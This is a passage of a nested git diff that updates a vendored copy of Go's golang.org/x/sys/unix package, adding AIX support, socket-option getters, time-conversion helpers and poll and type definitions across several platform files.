- func (iov *Iovec) SetLen(length int) {
- iov.Len = uint64(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- // TODO(aram): implement this, see issue 5847.
-- panic("unimplemented")
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix.go b/vendor/golang.org/x/sys/unix/syscall_unix.go
-index 3ed8a91f..8f710d01 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix.go
-@@ -2,12 +2,13 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
- import (
-- "runtime"
-+ "bytes"
-+ "sort"
- "sync"
- "syscall"
- "unsafe"
-@@ -19,13 +20,6 @@ var (
- Stderr = 2
- )
-
--const (
-- darwin64Bit = runtime.GOOS == "darwin" && sizeofPtr == 8
-- dragonfly64Bit = runtime.GOOS == "dragonfly" && sizeofPtr == 8
-- netbsd32Bit = runtime.GOOS == "netbsd" && sizeofPtr == 4
-- solaris64Bit = runtime.GOOS == "solaris" && sizeofPtr == 8
--)
--
- // Do the interface allocations only once for common
- // Errno values.
- var (
-@@ -34,6 +28,11 @@ var (
- errENOENT error = syscall.ENOENT
- )
-
-+var (
-+ signalNameMapOnce sync.Once
-+ signalNameMap map[string]syscall.Signal
-+)
-+
- // errnoErr returns common boxed Errno values, to prevent
- // allocations at runtime.
- func errnoErr(e syscall.Errno) error {
-@@ -50,6 +49,50 @@ func errnoErr(e syscall.Errno) error {
- return e
- }
-
-+// ErrnoName returns the error name for error number e.
-+func ErrnoName(e syscall.Errno) string {
-+ i := sort.Search(len(errorList), func(i int) bool {
-+ return errorList[i].num >= e
-+ })
-+ if i < len(errorList) && errorList[i].num == e {
-+ return errorList[i].name
-+ }
-+ return ""
-+}
-+
-+// SignalName returns the signal name for signal number s.
-+func SignalName(s syscall.Signal) string {
-+ i := sort.Search(len(signalList), func(i int) bool {
-+ return signalList[i].num >= s
-+ })
-+ if i < len(signalList) && signalList[i].num == s {
-+ return signalList[i].name
-+ }
-+ return ""
-+}
-+
-+// SignalNum returns the syscall.Signal for signal named s,
-+// or 0 if a signal with such name is not found.
-+// The signal name should start with "SIG".
-+func SignalNum(s string) syscall.Signal {
-+ signalNameMapOnce.Do(func() {
-+ signalNameMap = make(map[string]syscall.Signal, len(signalList))
-+ for _, signal := range signalList {
-+ signalNameMap[signal.name] = signal.num
-+ }
-+ })
-+ return signalNameMap[s]
-+}
-+
-+// clen returns the index of the first NULL byte in n or len(n) if n contains no NULL byte.
-+func clen(n []byte) int {
-+ i := bytes.IndexByte(n, 0)
-+ if i == -1 {
-+ i = len(n)
-+ }
-+ return i
-+}
-+
- // Mmap manager, for use by operating system-specific implementations.
-
- type mmapper struct {
-@@ -138,16 +181,19 @@ func Write(fd int, p []byte) (n int, err error) {
- // creation of IPv6 sockets to return EAFNOSUPPORT.
- var SocketDisableIPv6 bool
-
-+// Sockaddr represents a socket address.
- type Sockaddr interface {
- sockaddr() (ptr unsafe.Pointer, len _Socklen, err error) // lowercase; only we can define Sockaddrs
- }
-
-+// SockaddrInet4 implements the Sockaddr interface for AF_INET type sockets.
- type SockaddrInet4 struct {
- Port int
- Addr [4]byte
- raw RawSockaddrInet4
- }
-
-+// SockaddrInet6 implements the Sockaddr interface for AF_INET6 type sockets.
- type SockaddrInet6 struct {
- Port int
- ZoneId uint32
-@@ -155,6 +201,7 @@ type SockaddrInet6 struct {
- raw RawSockaddrInet6
- }
-
-+// SockaddrUnix implements the Sockaddr interface for AF_UNIX type sockets.
- type SockaddrUnix struct {
- Name string
- raw RawSockaddrUnix
-@@ -182,7 +229,14 @@ func Getpeername(fd int) (sa Sockaddr, err error) {
- if err = getpeername(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+func GetsockoptByte(fd, level, opt int) (value byte, err error) {
-+ var n byte
-+ vallen := _Socklen(1)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-+ return n, err
- }
-
- func GetsockoptInt(fd, level, opt int) (value int, err error) {
-@@ -192,6 +246,61 @@ func GetsockoptInt(fd, level, opt int) (value int, err error) {
- return int(n), err
- }
-
-+func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-+ vallen := _Socklen(4)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-+ return value, err
-+}
-+
-+func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-+ var value IPMreq
-+ vallen := _Socklen(SizeofIPMreq)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-+ var value IPv6Mreq
-+ vallen := _Socklen(SizeofIPv6Mreq)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-+ var value IPv6MTUInfo
-+ vallen := _Socklen(SizeofIPv6MTUInfo)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-+ var value ICMPv6Filter
-+ vallen := _Socklen(SizeofICMPv6Filter)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptLinger(fd, level, opt int) (*Linger, error) {
-+ var linger Linger
-+ vallen := _Socklen(SizeofLinger)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&linger), &vallen)
-+ return &linger, err
-+}
-+
-+func GetsockoptTimeval(fd, level, opt int) (*Timeval, error) {
-+ var tv Timeval
-+ vallen := _Socklen(unsafe.Sizeof(tv))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&tv), &vallen)
-+ return &tv, err
-+}
-+
-+func GetsockoptUint64(fd, level, opt int) (value uint64, err error) {
-+ var n uint64
-+ vallen := _Socklen(8)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-+ return n, err
-+}
-+
- func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
- var rsa RawSockaddrAny
- var len _Socklen = SizeofSockaddrAny
-@@ -199,7 +308,7 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
- return
- }
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -242,13 +351,21 @@ func SetsockoptLinger(fd, level, opt int, l *Linger) (err error) {
- }
-
- func SetsockoptString(fd, level, opt int, s string) (err error) {
-- return setsockopt(fd, level, opt, unsafe.Pointer(&[]byte(s)[0]), uintptr(len(s)))
-+ var p unsafe.Pointer
-+ if len(s) > 0 {
-+ p = unsafe.Pointer(&[]byte(s)[0])
-+ }
-+ return setsockopt(fd, level, opt, p, uintptr(len(s)))
- }
-
- func SetsockoptTimeval(fd, level, opt int, tv *Timeval) (err error) {
- return setsockopt(fd, level, opt, unsafe.Pointer(tv), unsafe.Sizeof(*tv))
- }
-
-+func SetsockoptUint64(fd, level, opt int, value uint64) (err error) {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(&value), 8)
-+}
-+
- func Socket(domain, typ, proto int) (fd int, err error) {
- if domain == AF_INET6 && SocketDisableIPv6 {
- return -1, EAFNOSUPPORT
-@@ -267,13 +384,6 @@ func Socketpair(domain, typ, proto int) (fd [2]int, err error) {
- return
- }
-
--func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- if raceenabled {
-- raceReleaseMerge(unsafe.Pointer(&ioSync))
-- }
-- return sendfile(outfd, infd, offset, count)
--}
--
- var ioSync int64
-
- func CloseOnExec(fd int) { fcntl(fd, F_SETFD, FD_CLOEXEC) }
-@@ -291,3 +401,31 @@ func SetNonblock(fd int, nonblocking bool) (err error) {
- _, err = fcntl(fd, F_SETFL, flag)
- return err
- }
-+
-+// Exec calls execve(2), which replaces the calling executable in the process
-+// tree. argv0 should be the full path to an executable ("/bin/ls") and the
-+// executable name should also be the first argument in argv (["ls", "-l"]).
-+// envv are the environment variables that should be passed to the new
-+// process (["USER=go", "PWD=/tmp"]).
-+func Exec(argv0 string, argv []string, envv []string) error {
-+ return syscall.Exec(argv0, argv, envv)
-+}
-+
-+// Lutimes sets the access and modification times tv on path. If path refers to
-+// a symlink, it is not dereferenced and the timestamps are set on the symlink.
-+// If tv is nil, the access and modification times are set to the current time.
-+// Otherwise tv must contain exactly 2 elements, with access time as the first
-+// element and modification time as the second element.
-+func Lutimes(path string, tv []Timeval) error {
-+ if tv == nil {
-+ return UtimesNanoAt(AT_FDCWD, path, nil, AT_SYMLINK_NOFOLLOW)
-+ }
-+ if len(tv) != 2 {
-+ return EINVAL
-+ }
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return UtimesNanoAt(AT_FDCWD, path, ts, AT_SYMLINK_NOFOLLOW)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go b/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-index 4cb8e8ed..1c70d1b6 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-@@ -3,7 +3,7 @@
- // license that can be found in the LICENSE file.
-
- // +build darwin dragonfly freebsd linux netbsd openbsd solaris
--// +build !gccgo
-+// +build !gccgo,!ppc64le,!ppc64
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go b/vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-similarity index 51%
-copy from vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-copy to vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-index 4cb8e8ed..86dc765a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-@@ -1,15 +1,24 @@
--// Copyright 2016 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build linux
-+// +build ppc64le ppc64
- // +build !gccgo
-
- package unix
-
- import "syscall"
-
--func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.Syscall(trap, a1, a2, a3)
-+}
-+func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.Syscall6(trap, a1, a2, a3, a4, a5, a6)
-+}
-+func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.RawSyscall(trap, a1, a2, a3)
-+}
-+func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.RawSyscall6(trap, a1, a2, a3, a4, a5, a6)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/timestruct.go b/vendor/golang.org/x/sys/unix/timestruct.go
-new file mode 100644
-index 00000000..4a672f56
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/timestruct.go
-@@ -0,0 +1,82 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import "time"
-+
-+// TimespecToNsec converts a Timespec value into a number of
-+// nanoseconds since the Unix epoch.
-+func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+
-+// NsecToTimespec takes a number of nanoseconds since the Unix epoch
-+// and returns the corresponding Timespec value.
-+func NsecToTimespec(nsec int64) Timespec {
-+ sec := nsec / 1e9
-+ nsec = nsec % 1e9
-+ if nsec < 0 {
-+ nsec += 1e9
-+ sec--
-+ }
-+ return setTimespec(sec, nsec)
-+}
-+
-+// TimeToTimespec converts t into a Timespec.
-+// On some 32-bit systems the range of valid Timespec values are smaller
-+// than that of time.Time values. So if t is out of the valid range of
-+// Timespec, it returns a zero Timespec and ERANGE.
-+func TimeToTimespec(t time.Time) (Timespec, error) {
-+ sec := t.Unix()
-+ nsec := int64(t.Nanosecond())
-+ ts := setTimespec(sec, nsec)
-+
-+ // Currently all targets have either int32 or int64 for Timespec.Sec.
-+ // If there were a new target with floating point type for it, we have
-+ // to consider the rounding error.
-+ if int64(ts.Sec) != sec {
-+ return Timespec{}, ERANGE
-+ }
-+ return ts, nil
-+}
-+
-+// TimevalToNsec converts a Timeval value into a number of nanoseconds
-+// since the Unix epoch.
-+func TimevalToNsec(tv Timeval) int64 { return int64(tv.Sec)*1e9 + int64(tv.Usec)*1e3 }
-+
-+// NsecToTimeval takes a number of nanoseconds since the Unix epoch
-+// and returns the corresponding Timeval value.
-+func NsecToTimeval(nsec int64) Timeval {
-+ nsec += 999 // round up to microsecond
-+ usec := nsec % 1e9 / 1e3
-+ sec := nsec / 1e9
-+ if usec < 0 {
-+ usec += 1e6
-+ sec--
-+ }
-+ return setTimeval(sec, usec)
-+}
-+
-+// Unix returns ts as the number of seconds and nanoseconds elapsed since the
-+// Unix epoch.
-+func (ts *Timespec) Unix() (sec int64, nsec int64) {
-+ return int64(ts.Sec), int64(ts.Nsec)
-+}
-+
-+// Unix returns tv as the number of seconds and nanoseconds elapsed since the
-+// Unix epoch.
-+func (tv *Timeval) Unix() (sec int64, nsec int64) {
-+ return int64(tv.Sec), int64(tv.Usec) * 1000
-+}
-+
-+// Nano returns ts as the number of nanoseconds elapsed since the Unix epoch.
-+func (ts *Timespec) Nano() int64 {
-+ return int64(ts.Sec)*1e9 + int64(ts.Nsec)
-+}
-+
-+// Nano returns tv as the number of nanoseconds elapsed since the Unix epoch.
-+func (tv *Timeval) Nano() int64 {
-+ return int64(tv.Sec)*1e9 + int64(tv.Usec)*1000
-+}
-diff --git a/vendor/golang.org/x/sys/unix/types_netbsd.go b/vendor/golang.org/x/sys/unix/types_aix.go
-similarity index 53%
-copy from vendor/golang.org/x/sys/unix/types_netbsd.go
-copy to vendor/golang.org/x/sys/unix/types_aix.go
-index cb95c80a..40d2beed 100644
---- a/vendor/golang.org/x/sys/unix/types_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_aix.go
-@@ -1,11 +1,12 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build ignore
-+// +build aix
-
- /*
--Input to cgo -godefs. See README.md
-+Input to cgo -godefs. See also mkerrors.sh and mkall.sh
- */
-
- // +godefs map struct_in_addr [4]byte /* in_addr */
-@@ -14,44 +15,37 @@ Input to cgo -godefs. See README.md
- package unix
-
- /*
--#define KERNEL
--#include <dirent.h>
--#include <fcntl.h>
--#include <signal.h>
--#include <termios.h>
--#include <stdio.h>
--#include <unistd.h>
--#include <sys/param.h>
- #include <sys/types.h>
--#include <sys/event.h>
--#include <sys/mman.h>
--#include <sys/mount.h>
--#include <sys/ptrace.h>
--#include <sys/resource.h>
--#include <sys/select.h>
--#include <sys/signal.h>
--#include <sys/socket.h>
--#include <sys/stat.h>
--#include <sys/sysctl.h>
- #include <sys/time.h>
--#include <sys/uio.h>
-+#include <sys/limits.h>
- #include <sys/un.h>
--#include <sys/wait.h>
--#include <net/bpf.h>
-+#include <utime.h>
-+#include <sys/utsname.h>
-+#include <sys/poll.h>
-+#include <sys/resource.h>
-+#include <sys/stat.h>
-+#include <sys/statfs.h>
-+#include <sys/termio.h>
-+#include <sys/ioctl.h>
-+
-+#include <termios.h>
-+
- #include <net/if.h>
- #include <net/if_dl.h>
--#include <net/route.h>
- #include <netinet/in.h>
- #include <netinet/icmp6.h>
--#include <netinet/tcp.h>
-+
-+
-+#include <dirent.h>
-+#include <fcntl.h>
-
- enum {
- sizeofPtr = sizeof(void*),
- };
-
- union sockaddr_all {
-- struct sockaddr s1; // this one gets used for fields
-- struct sockaddr_in s2; // these pad it out
-+ struct sockaddr s1; // this one gets used for fields
-+ struct sockaddr_in s2; // these pad it out
- struct sockaddr_in6 s3;
- struct sockaddr_un s4;
- struct sockaddr_dl s5;
-@@ -65,14 +59,15 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
-+ PathMax = C.PATH_MAX
- )
-
- // Basic types
-@@ -84,32 +79,50 @@ type (
- _C_long_long C.longlong
- )
-
-+type off64 C.off64_t
-+type off C.off_t
-+type Mode_t C.mode_t
-+
- // Time
-
- type Timespec C.struct_timespec
-
- type Timeval C.struct_timeval
-
-+type Timeval32 C.struct_timeval32
-+
-+type Timex C.struct_timex
-+
-+type Time_t C.time_t
-+
-+type Tms C.struct_tms
-+
-+type Utimbuf C.struct_utimbuf
-+
-+type Timezone C.struct_timezone
-+
- // Processes
-
- type Rusage C.struct_rusage
-
--type Rlimit C.struct_rlimit
-+type Rlimit C.struct_rlimit64
-+
-+type Pid_t C.pid_t
-
- type _Gid_t C.gid_t
-
-+type dev_t C.dev_t
-+
- // Files
-
- type Stat_t C.struct_stat
-
--type Statfs_t C.struct_statfs
-+type StatxTimestamp C.struct_statx_timestamp
-
--type Flock_t C.struct_flock
-+type Statx_t C.struct_statx
-
- type Dirent C.struct_dirent
-
--type Fsid C.fsid_t
--
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -126,7 +139,9 @@ type RawSockaddrAny C.struct_sockaddr_any
-
- type _Socklen C.socklen_t
-
--type Linger C.struct_linger
-+type Cmsghdr C.struct_cmsghdr
-+
-+type ICMPv6Filter C.struct_icmp6_filter
-
- type Iovec C.struct_iovec
-
-@@ -134,15 +149,11 @@ type IPMreq C.struct_ip_mreq
-
- type IPv6Mreq C.struct_ipv6_mreq
-
--type Msghdr C.struct_msghdr
--
--type Cmsghdr C.struct_cmsghdr
--
--type Inet6Pktinfo C.struct_in6_pktinfo
--
- type IPv6MTUInfo C.struct_ip6_mtuinfo
-
--type ICMPv6Filter C.struct_icmp6_filter
-+type Linger C.struct_linger
-+
-+type Msghdr C.struct_msghdr
-
- const (
- SizeofSockaddrInet4 = C.sizeof_struct_sockaddr_in
-@@ -153,87 +164,74 @@ const (
- SizeofLinger = C.sizeof_struct_linger
- SizeofIPMreq = C.sizeof_struct_ip_mreq
- SizeofIPv6Mreq = C.sizeof_struct_ipv6_mreq
-+ SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofMsghdr = C.sizeof_struct_msghdr
- SizeofCmsghdr = C.sizeof_struct_cmsghdr
-- SizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
-- SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
- )
-
--// Ptrace requests
-+// Routing and interface messages
-
- const (
-- PTRACE_TRACEME = C.PT_TRACE_ME
-- PTRACE_CONT = C.PT_CONTINUE
-- PTRACE_KILL = C.PT_KILL
-+ SizeofIfMsghdr = C.sizeof_struct_if_msghdr
- )
-
--// Events (kqueue, kevent)
--
--type Kevent_t C.struct_kevent
-+type IfMsgHdr C.struct_if_msghdr
-
--// Select
-+// Misc
-
- type FdSet C.fd_set
-
--// Routing and interface messages
-+type Utsname C.struct_utsname
-
--const (
-- SizeofIfMsghdr = C.sizeof_struct_if_msghdr
-- SizeofIfData = C.sizeof_struct_if_data
-- SizeofIfaMsghdr = C.sizeof_struct_ifa_msghdr
-- SizeofIfAnnounceMsghdr = C.sizeof_struct_if_announcemsghdr
-- SizeofRtMsghdr = C.sizeof_struct_rt_msghdr
-- SizeofRtMetrics = C.sizeof_struct_rt_metrics
--)
-+type Ustat_t C.struct_ustat
-
--type IfMsghdr C.struct_if_msghdr
-+type Sigset_t C.sigset_t
-
--type IfData C.struct_if_data
-+const (
-+ AT_FDCWD = C.AT_FDCWD
-+ AT_REMOVEDIR = C.AT_REMOVEDIR
-+ AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
-+)
-
--type IfaMsghdr C.struct_ifa_msghdr
-+// Terminal handling
-
--type IfAnnounceMsghdr C.struct_if_announcemsghdr
-+type Termios C.struct_termios
-
--type RtMsghdr C.struct_rt_msghdr
-+type Termio C.struct_termio
-
--type RtMetrics C.struct_rt_metrics
-+type Winsize C.struct_winsize
-
--type Mclpool C.struct_mclpool
-+//poll
-
--// Berkeley packet filter
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-
- const (
-- SizeofBpfVersion = C.sizeof_struct_bpf_version
-- SizeofBpfStat = C.sizeof_struct_bpf_stat
-- SizeofBpfProgram = C.sizeof_struct_bpf_program
-- SizeofBpfInsn = C.sizeof_struct_bpf_insn
-- SizeofBpfHdr = C.sizeof_struct_bpf_hdr
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
- )
-
--type BpfVersion C.struct_bpf_version
--
--type BpfStat C.struct_bpf_stat
--
--type BpfProgram C.struct_bpf_program
--
--type BpfInsn C.struct_bpf_insn
--
--type BpfHdr C.struct_bpf_hdr
--
--type BpfTimeval C.struct_bpf_timeval
-+//flock_t
-
--// Terminal handling
--
--type Termios C.struct_termios
-+type Flock_t C.struct_flock64
-
--// fchmodat-like syscalls.
-+// Statfs
-
--const (
-- AT_FDCWD = C.AT_FDCWD
-- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
--)
-+type Fsid_t C.struct_fsid_t
-+type Fsid64_t C.struct_fsid64_t
-
--// Sysctl
-+type Statfs_t C.struct_statfs
-
--type Sysctlnode C.struct_sysctlnode
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/types_darwin.go b/vendor/golang.org/x/sys/unix/types_darwin.go
-index 415124d4..155c2e69 100644
---- a/vendor/golang.org/x/sys/unix/types_darwin.go
-+++ b/vendor/golang.org/x/sys/unix/types_darwin.go
-@@ -19,6 +19,7 @@ package unix
- #define _DARWIN_USE_64_BIT_INODE
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <unistd.h>
-@@ -38,6 +39,7 @@ package unix
- #include <sys/types.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -68,14 +70,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -252,3 +254,30 @@ const (
- AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_dragonfly.go b/vendor/golang.org/x/sys/unix/types_dragonfly.go
-index 80b27781..6574f6b6 100644
---- a/vendor/golang.org/x/sys/unix/types_dragonfly.go
-+++ b/vendor/golang.org/x/sys/unix/types_dragonfly.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -34,6 +35,7 @@ package unix
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -63,14 +65,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -98,23 +100,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-@@ -125,6 +110,12 @@ type Dirent C.struct_dirent
-
- type Fsid C.struct_fsid
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -241,9 +232,38 @@ type BpfHdr C.struct_bpf_hdr
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_freebsd.go b/vendor/golang.org/x/sys/unix/types_freebsd.go
-index 934fd7ac..c6fde424 100644
---- a/vendor/golang.org/x/sys/unix/types_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_freebsd.go
-@@ -14,14 +14,19 @@ Input to cgo -godefs. See README.md
- package unix
-
- /*
--#define KERNEL
-+#define _WANT_FREEBSD11_STAT 1
-+#define _WANT_FREEBSD11_STATFS 1
-+#define _WANT_FREEBSD11_DIRENT 1
-+#define _WANT_FREEBSD11_KEVENT 1
